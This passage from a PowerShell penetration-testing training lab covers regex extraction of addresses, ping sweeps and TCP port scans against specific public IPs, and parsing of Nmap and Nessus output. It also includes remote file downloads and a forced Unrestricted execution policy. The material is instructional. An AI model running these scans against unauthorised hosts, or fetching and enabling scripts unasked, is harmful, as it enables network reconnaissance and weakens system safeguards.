  1759. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
  1760. ---------------------------------------------------------------
  1761. 2) The regular expression that the input file will be compared against
  1762.  
  1763. 3) The output file for where the extracted data will be placed.
  1764.  
  1765. Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
  1766. Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
  1767.  
  1768. To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
  1769. ------------------------Type This------------------------------
  1770. $input_path = 'c:\ps\emails.txt'
  1771. $output_file = 'c:\ps\extracted_addresses.txt'
  1772. $regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
  1773. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1774. ---------------------------------------------------------------
  1775.  
  1776.  
  1777. In this script, we have the following variables:
  1778.  
  1779. 1) $input_path to hold the path to the input file we want to parse
  1780.  
  1781. 2) $output_file to hold the path to the file we want the results to be stored in
  1782.  
  1783. 3) $regex to hold the regular expression pattern to be used when the strings are being matched.
  1784.  
  1785. The select-string cmdlet contains various parameters as follows:
  1786.  
  1787. 1) "-Path" which takes as input the full path to the input file
  1788.  
  1789. 2) "-Pattern" which takes as input the regular expression used in the matching process
  1790.  
  1791. 3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
  1792.  
  1793. Using ">" the results are written to the destination specified in the $output_file variable.
  1794.  
  1795. Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
  1796.  
  1797. IP addresses
  1798. ------------
  1799. For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
  1800. ------------------------Type This------------------------------
  1801. $input_path = 'c:\ps\ip_addresses.txt'
  1802. $output_file = 'c:\ps\extracted_ip_addresses.txt'
  1803. $regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
  1804. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1805. ---------------------------------------------------------------
  1806.  
  1807.  
  1808.  
  1809. URLs
  1810. ----
  1811. For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
  1812. You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
  1813. ------------------------Type This------------------------------
  1814. $input_path = 'c:\ps\URL_addresses.txt'
  1815. $output_file = 'c:\ps\extracted_URL_addresses.txt'
  1816. $regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
  1817. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1818. ---------------------------------------------------------------
  1819.  
  1820. In addition to the examples above, many other types of strings can be extracted using this script.
  1821. All you need to do is switch the regular expression in the "$regex" variable!
  1822. In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
  1823.  
  1824.  
  1825.  
  1826.  
  1827.  
  1828.  
  1829. ########################################
  1830. # Basic Network Commands in PowerShell #
  1831. ########################################
  1832.  
  1833. Reference:
  1834. https://blogs.technet.microsoft.com/josebda/2015/04/18/windows-powershell-equivalents-for-common-networking-commands-ipconfig-ping-nslookup/
  1835.  
  1836.  
  1837. ###################
  1838. # Pentester Tasks #
  1839. ###################
  1840. Reference:
  1841. http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
  1842.  
  1843.  
  1844. Listing IPs
  1845. -----------
  1846. One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
  1847.  
  1848. ------------------------Type This------------------------------
  1849. $octect = "149.28.201."
  1850. $lastoctect = (1..255)
  1851. $lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
  1852. ---------------------------------------------------------------
  1853.  
  1854.  
  1855. Ping Sweep
  1856. ------------------------------------------------------
  1857. PowerShell provides several methods for doing Ping
  1858. Test-Connection cmdlet
  1859. Creation of a WMI Object
  1860. .Net System.Net.NetworkInformation.Ping Object
  1861. ------------------------------------------------------
  1862.  
  1863.  
  1864. ------------------------Type This------------------------------
  1865. function New-IPRange ($start, $end) {
  1866. $ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
  1867. [Array]::Reverse($ip1)
  1868. $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
  1869.  
  1870. $ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
  1871. [Array]::Reverse($ip2)
  1872. $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
  1873.  
  1874. for ($x=$ip1; $x -le $ip2; $x++) {
  1875. $ip = ([System.Net.IPAddress]$x).GetAddressBytes()
  1876. [Array]::Reverse($ip)
  1877. $ip -join '.'
  1878. }
  1879. }
  1880. $ping = New-Object System.Net.NetworkInformation.Ping
  1881. New-IPRange 149.28.201.1 149.28.201.250 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
  1882. ---------------------------------------------------------------
  1883.  
  1884.  
  1885. Reverse Lookups
  1886. ---------------
  1887. For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
  1888.  
  1889.  
  1890. ------Deprecated--------
  1891. [System.Net.Dns]::GetHostByAddress("162.243.126.247")
  1892. ------Deprecated--------
  1893.  
  1894. Use getnameinfo instead:
  1895. https://msdn.microsoft.com/en-us/library/windows/desktop/ms738532(v=vs.85).aspx
  1896.  
  1897. References:
  1898. https://stackoverflow.com/questions/10346194/how-to-use-getnameinfo-instead-of-gethostbyname
  1899.  
  1900.  
  1901.  
  1902. Forward Lookups
  1903. ---------------
  1904.  
  1905. ------------------------Type This------------------------------
  1906. [System.Net.Dns]::GetHostAddresses("www.google.com")
  1907. ---------------------------------------------------------------
  1908.  
  1909.  
  1910. Port Scans
  1911. ----------
  1912. To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
  1913. For TCP the .Net System.Net.Sockets.TcpClient
  1914. For UDP the .Net System.Net.Sockets.UdpClient
  1915.  
  1916.  
  1917.  
  1918.  
  1919. TCP Scan (Windows 7)
  1920. --------------------
  1921. NOTE: If you are using Windows 7, use the code below
  1922. ------------------------Type This------------------------------
  1923. $ports=22,80,443,3389
  1924. $target = "149.28.201.171"
  1925. foreach ($i in $ports) {
  1926. try {
  1927. $socket = new-object System.Net.Sockets.TCPClient($target, $i);
  1928. } catch {}
  1929. if ($socket -eq $NULL) {
  1930. echo "$target:$i - Closed";
  1931. } else {
  1932. echo "$target:$i - Open";
  1933. $socket = $NULL;
  1934. }}
  1935. ---------------------------------------------------------------
  1936.  
  1937.  
  1938.  
  1939. TCP Scan (Windows 10)
  1940. ---------------------
  1941. NOTE: If you are using Windows 10, use the code below
  1942.  
  1943. ------------------------Type This------------------------------
  1944. $ports=22,80,443,3389
  1945. $target = "149.28.201.171"
  1946. foreach ($i in $ports) {
  1947. try {
  1948. $socket = new-object System.Net.Sockets.TCPClient($target, $i);
  1949. } catch {}
  1950. if ($socket -eq $NULL) {
  1951. echo "${target}:$i - Closed";
  1952. } else {
  1953. echo "${target}:$i - Open";
  1954. $socket = $NULL;
  1955. }}
  1956. ---------------------------------------------------------------
  1957.  
  1958.  
  1959.  
  1960. ##########################
  1961. # Parsing Nmap XML Files #
  1962. ##########################
  1963. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
  1964. https://infosecaddicts-files.s3.amazonaws.com/PowerShell-Files.zip
  1965.  
  1966.  
  1967. Let's setup a directory to work in:
  1968. ------------------------Type This------------------------------
  1969. cd c:\
  1970.  
  1971. mkdir ps
  1972.  
  1973. cd ps
  1974. ---------------------------------------------------------------
  1975.  
  1976.  
  1977.  
  1978.  
  1979. ------------------------Type This------------------------------
  1980. cd c:\ps
  1981. mkdir PowerShell-Files
  1982. cd PowerShell-Files
  1983. (new-object System.Net.WebClient).DownloadFile("https://infosecaddicts-files.s3.amazonaws.com/Parse-Nmap.ps1", "c:\ps\PowerShell-Files\Parse-Nmap.ps1")
  1984. (new-object System.Net.WebClient).DownloadFile("https://infosecaddicts-files.s3.amazonaws.com/class_nessus.csv", "c:\ps\PowerShell-Files\class_nessus.csv")
  1985. (new-object System.Net.WebClient).DownloadFile("https://infosecaddicts-files.s3.amazonaws.com/samplescan.xml", "c:\ps\PowerShell-Files\samplescan.xml")
  1986. ---------------------------------------------------------------
  1987.  
  1988.  
  1989. Run Powershell as administrator
  1990. ------------------------Type This------------------------------
  1991. cd C:\ps\\PowerShell-Files
  1992.  
  1993. Get-ExecutionPolicy
  1994. Set-ExecutionPolicy Unrestricted –Force
  1995. ---------------------------------------------------------------
  1996.  
  1997.  
  1998. Parse nmap XML
  1999. ------------------------Type This------------------------------
  2000. .\parse-nmap.ps1 samplescan.xml
  2001. ---------------------------------------------------------------
  2002.  
  2003.  
  2004. Process all XML files
  2005. ------------------------Type This------------------------------
  2006. .\parse-nmap.ps1 *.xml
  2007. ---------------------------------------------------------------
  2008.  
  2009. Piping also works
  2010. ------------------------Type This------------------------------
  2011. dir *.xml | .\parse-nmap.ps1
  2012. ---------------------------------------------------------------
  2013.  
  2014. Advanced parsing with filtering conditions
  2015. ------------------------Type This------------------------------
  2016. .\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
  2017. ---------------------------------------------------------------
  2018.  
  2019.  
  2020. More parsing
  2021. ------------------------Type This------------------------------
  2022. .\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
  2023. ---------------------------------------------------------------
  2024.  
  2025. Parsing with match and multiple conditions
  2026. ------------------------Type This------------------------------
  2027. .\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
  2028. ---------------------------------------------------------------
  2029.  
  2030.  
  2031. CSV Export
  2032. ------------------------Type This------------------------------
  2033. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
  2034. ---------------------------------------------------------------
  2035.  
  2036. Import Data from CSV
  2037. ------------------------Type This------------------------------
  2038. $data = import-csv weblisteners.csv
  2039. $data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
  2040. ---------------------------------------------------------------
  2041.  
  2042.  
  2043. Export to HTML
  2044. ------------------------Type This------------------------------
  2045. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
  2046. ---------------------------------------------------------------
  2047.  
  2048.  
  2049. ########################################
  2050. # Parsing Nessus scans with PowerShell #
  2051. ########################################
  2052. If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
  2053. https://infosecaddicts-files.s3.amazonaws.com/PowerShell-Files.zip
  2054.  
  2055.  
  2056.  
  2057. Let's take a look at the Import-Csv cmdlet and what are the members of the object it returns:
  2058. ------------------------Type This------------------------------
  2059. Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | Get-Member
  2060. ---------------------------------------------------------------
  2061.  
  2062. filter the objects:
  2063.  
  2064. ------------------------Type This------------------------------
  2065. Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"}
  2066. ---------------------------------------------------------------
  2067.  
  2068. use the Select-Object cmdlet and only get unique entries:
  2069. ------------------------Type This------------------------------
  2070. Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
  2071.  
  2072. Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
  2073. ------------------------Type This------------------------------
  2074.  
  2075. ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
  2076. ------------------------Type This------------------------------
  2077. Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
  2078. ---------------------------------------------------------------
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